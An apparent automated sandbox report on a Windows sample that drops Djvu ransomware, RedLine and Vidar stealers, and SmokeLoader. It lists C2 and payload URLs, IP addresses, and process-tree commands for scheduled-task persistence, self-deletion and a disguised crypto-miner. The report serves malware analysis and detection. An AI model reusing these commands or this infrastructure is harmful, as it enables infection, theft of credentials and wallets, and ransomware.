Analysis
- max time kernel
94s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
- submitted
24/10/2022, 16:16
General
- Target 7322b3966fe09cd7d86cba8af24fdc3d.exe
- Size 220KB
- Sample221024-tqsakshfbp
- SHA256 c0c2a15670f60a6a8a480e1353ced6fe3b280cddc7b52a5a4f47660802652231
Malware Config
Extracted
-
djvu
-
http://winnlinne.com/lancer/get.php
-
extension
.nury
-
offline_id
KFBzXY7hTnWvKHIgFKUOR1MsE6RDJJwQPj1ozPt1
-
payload_url
http://uaery.top/dl/build2.exe
http://winnlinne.com/files/1/build3.exe
-
ransomnote
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Extracted
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vidar
-
55.2
-
517
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https://t.me/slivetalks
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https://c.im/@xinibin420
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profile_id
517
Extracted
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redline
-
nam7
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103.89.90.61:34589
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auth_value
533c8fbdab4382453812c73ea2cee5b8
Extracted
-
redline
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slovarik15btc
-
78.153.144.3:2510
-
auth_value
bfedad55292538ad3edd07ac95ad8952
Extracted
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redline
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Google2
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167.235.71.14:20469
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auth_value
fb274d9691235ba015830da570a13578
Signatures
- Detected Djvu ransomware 10 IoCs
- Detects Smokeloader packer 3 IoCs
- Djvu Ransomware
Ransomware which is a variant of the STOP family.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 6 IoCs
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Downloads MZ/PE file
- Executes dropped EXE 20 IoCs
- Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 5 IoCs
- Modifies file permissions 1 TTPs 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Uses the VBS compiler for execution 1 TTPs
- Accesses 2FA software files, possible credential harvesting 2 TTPs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 7 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 4 IoCs
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 24 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\7322b3966fe09cd7d86cba8af24fdc3d.exe"C:\Users\Admin\AppData\Local\Temp\7322b3966fe09cd7d86cba8af24fdc3d.exe"1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
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C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\1CEE.dll1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exe/s C:\Users\Admin\AppData\Local\Temp\1CEE.dll2⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\1E28.exeC:\Users\Admin\AppData\Local\Temp\1E28.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
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C:\Users\Admin\AppData\Local\Temp\1FCE.exeC:\Users\Admin\AppData\Local\Temp\1FCE.exe1⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3632 -s 3402⤵
- Program crash
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C:\Users\Admin\AppData\Local\Temp\2175.exeC:\Users\Admin\AppData\Local\Temp\2175.exe1⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2008 -s 3402⤵
- Program crash
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C:\Users\Admin\AppData\Local\Temp\23D8.exeC:\Users\Admin\AppData\Local\Temp\23D8.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\23D8.exeC:\Users\Admin\AppData\Local\Temp\23D8.exe2⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\f8c86cbd-a372-47b5-9230-43562233becf" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
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C:\Users\Admin\AppData\Local\Temp\23D8.exe"C:\Users\Admin\AppData\Local\Temp\23D8.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\23D8.exe"C:\Users\Admin\AppData\Local\Temp\23D8.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\9808003f-f520-40c0-8599-b708e99f3eca\build2.exe"C:\Users\Admin\AppData\Local\9808003f-f520-40c0-8599-b708e99f3eca\build2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\9808003f-f520-40c0-8599-b708e99f3eca\build2.exe"C:\Users\Admin\AppData\Local\9808003f-f520-40c0-8599-b708e99f3eca\build2.exe"6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\9808003f-f520-40c0-8599-b708e99f3eca\build2.exe" & exit7⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
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C:\Users\Admin\AppData\Local\9808003f-f520-40c0-8599-b708e99f3eca\build3.exe"C:\Users\Admin\AppData\Local\9808003f-f520-40c0-8599-b708e99f3eca\build3.exe"5⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"6⤵
- Creates scheduled task(s)
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
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C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 3632 -ip 36321⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2008 -ip 20081⤵
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C:\Users\Admin\AppData\Local\Temp\8AA1.exeC:\Users\Admin\AppData\Local\Temp\8AA1.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 14442⤵
- Program crash
-
-
C:\Users\Admin\AppData\Local\Temp\8F84.exeC:\Users\Admin\AppData\Local\Temp\8F84.exe1⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2408 -s 12562⤵
- Program crash
-
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C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"2⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\99B7.exeC:\Users\Admin\AppData\Local\Temp\99B7.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"2⤵
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C:\Users\Admin\AppData\Local\Temp\9D61.exeC:\Users\Admin\AppData\Local\Temp\9D61.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2408 -ip 24081⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 3992 -ip 39921⤵
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C:\Users\Admin\AppData\Local\Temp\C702.exeC:\Users\Admin\AppData\Local\Temp\C702.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\CB49.exeC:\Users\Admin\AppData\Local\Temp\CB49.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\D107.exeC:\Users\Admin\AppData\Local\Temp\D107.exe1⤵
- Executes dropped EXE
- Checks computer location settings
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C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe"C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD820.tmp.bat""3⤵
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C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
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C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"5⤵
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"6⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.test -p x -t 55⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls6⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
LYKAA.exe
LYKAA.exe
mozglue.dll
nss3.dll
sqlite3.dll
07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
build2.exe
build2.exe
build2.exe
build3.exe
build3.exe
RegSvcs.exe.log
1CEE.dll
1CEE.dll
1CEE.dll
1E28.exe
1E28.exe
1FCE.exe
1FCE.exe
2175.exe
2175.exe
23D8.exe
23D8.exe
23D8.exe
23D8.exe
23D8.exe
8AA1.exe
8AA1.exe
8F84.exe
99B7.exe
99B7.exe
9D61.exe
9D61.exe
C702.exe
C702.exe
CB49.exe
CB49.exe
D107.exe
D107.exe
tmpD820.tmp.bat
23D8.exe
mstsca.exe
mstsca.exe
UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
memory/392-158-0x0000000000580000-0x000000000058C000-memory.dmp
memory/540-283-0x0000000000670000-0x0000000000728000-memory.dmp
memory/752-156-0x0000000000830000-0x000000000089B000-memory.dmp
memory/752-177-0x0000000000830000-0x000000000089B000-memory.dmp
memory/752-155-0x00000000008A0000-0x0000000000915000-memory.dmp
memory/912-288-0x0000000000210000-0x0000000000330000-memory.dmp
memory/912-296-0x00007FFB84DA0000-0x00007FFB85861000-memory.dmp
memory/928-176-0x0000000000400000-0x0000000000537000-memory.dmp
memory/928-170-0x0000000000400000-0x0000000000537000-memory.dmp
memory/928-173-0x0000000000400000-0x0000000000537000-memory.dmp
memory/928-183-0x0000000000400000-0x0000000000537000-memory.dmp
memory/928-178-0x0000000000400000-0x0000000000537000-memory.dmp
memory/952-189-0x00000000008DF000-0x0000000000970000-memory.dmp
memory/1148-305-0x0000000000B40000-0x0000000000B45000-memory.dmp
memory/1580-245-0x0000000000400000-0x0000000000428000-memory.dmp
memory/1644-278-0x0000000000400000-0x0000000000428000-memory.dmp
memory/2000-210-0x0000000000730000-0x0000000000779000-memory.dmp
memory/2000-209-0x0000000000832000-0x000000000085E000-memory.dmp
memory/2008-169-0x0000000000630000-0x0000000000730000-memory.dmp
memory/2008-171-0x0000000000400000-0x0000000000592000-memory.dmp
memory/2056-260-0x00000000020C0000-0x00000000020FE000-memory.dmp
memory/2056-284-0x0000000000833000-0x0000000000864000-memory.dmp
memory/2056-259-0x0000000000833000-0x0000000000864000-memory.dmp
memory/2056-261-0x0000000000400000-0x00000000005B6000-memory.dmp
memory/2704-299-0x00007FFB84DA0000-0x00007FFB85861000-memory.dmp
memory/2704-295-0x0000000000260000-0x0000000000336000-memory.dmp
memory/3176-273-0x00000000008B0000-0x0000000000968000-memory.dmp
memory/3468-163-0x00000000029B0000-0x0000000002ACC000-memory.dmp
memory/3468-200-0x00000000029B0000-0x0000000002ACC000-memory.dmp
memory/3468-144-0x0000000001F10000-0x000000000211C000-memory.dmp
memory/3468-197-0x0000000002BB0000-0x0000000002C5C000-memory.dmp
memory/3468-196-0x0000000002AD0000-0x0000000002B92000-memory.dmp
memory/3468-160-0x0000000002770000-0x000000000288C000-memory.dmp
memory/3632-162-0x00000000001F0000-0x00000000001F9000-memory.dmp
memory/3632-161-0x0000000000883000-0x0000000000894000-memory.dmp
memory/3632-168-0x0000000000400000-0x0000000000596000-memory.dmp
memory/3964-174-0x00000000022C0000-0x00000000023DB000-memory.dmp
memory/3964-175-0x000000000077E000-0x000000000080F000-memory.dmp
memory/3988-301-0x00000000003D0000-0x00000000003D9000-memory.dmp
memory/3988-302-0x00000000003C0000-0x00000000003CF000-memory.dmp
memory/3992-255-0x0000000006780000-0x000000000679E000-memory.dmp
memory/3992-256-0x0000000006930000-0x0000000006AF2000-memory.dmp
memory/3992-254-0x00000000066D0000-0x0000000006746000-memory.dmp
memory/3992-262-0x0000000000893000-0x00000000008CA000-memory.dmp
memory/3992-263-0x0000000000400000-0x00000000005B9000-memory.dmp
memory/3992-234-0x00000000052E0000-0x00000000058F8000-memory.dmp
memory/3992-235-0x0000000000400000-0x00000000005B9000-memory.dmp
memory/3992-233-0x00000000006E0000-0x0000000000739000-memory.dmp
memory/3992-236-0x00000000059A0000-0x00000000059B2000-memory.dmp
memory/3992-232-0x0000000000893000-0x00000000008CA000-memory.dmp
memory/3992-258-0x0000000007E90000-0x0000000007EE0000-memory.dmp
memory/3992-257-0x0000000006B00000-0x000000000702C000-memory.dmp
memory/3992-243-0x0000000005E80000-0x0000000005EE6000-memory.dmp
memory/3992-237-0x00000000059C0000-0x0000000005ACA000-memory.dmp
memory/3992-238-0x0000000005AD0000-0x0000000005B0C000-memory.dmp
memory/3992-231-0x0000000004D30000-0x00000000052D4000-memory.dmp
memory/3992-242-0x0000000005DE0000-0x0000000005E72000-memory.dmp
memory/4192-184-0x0000000000400000-0x0000000000596000-memory.dmp
memory/4192-165-0x00000000006B0000-0x00000000006B9000-memory.dmp
memory/4192-166-0x0000000000400000-0x0000000000596000-memory.dmp
memory/4192-164-0x0000000000743000-0x0000000000754000-memory.dmp
memory/4380-293-0x0000000000B30000-0x0000000000B37000-memory.dmp
memory/4380-294-0x0000000000B20000-0x0000000000B2B000-memory.dmp
memory/4440-195-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4440-190-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4440-222-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4440-188-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4536-344-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4536-345-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4536-342-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4816-268-0x00000000007A0000-0x00000000007C8000-memory.dmp
memory/4956-132-0x00000000007E2000-0x00000000007F2000-memory.dmp
memory/4956-135-0x0000000000400000-0x0000000000595000-memory.dmp
memory/4956-134-0x0000000000400000-0x0000000000595000-memory.dmp
memory/4956-133-0x00000000001F0000-0x00000000001F9000-memory.dmp
memory/5020-253-0x0000000000490000-0x0000000000548000-memory.dmp
memory/5116-205-0x0000000000400000-0x000000000045E000-memory.dmp
memory/5116-211-0x0000000000400000-0x000000000045E000-memory.dmp
memory/5116-207-0x0000000000400000-0x000000000045E000-memory.dmp
memory/5116-208-0x0000000000400000-0x000000000045E000-memory.dmp
memory/5116-220-0x0000000000400000-0x000000000045E000-memory.dmp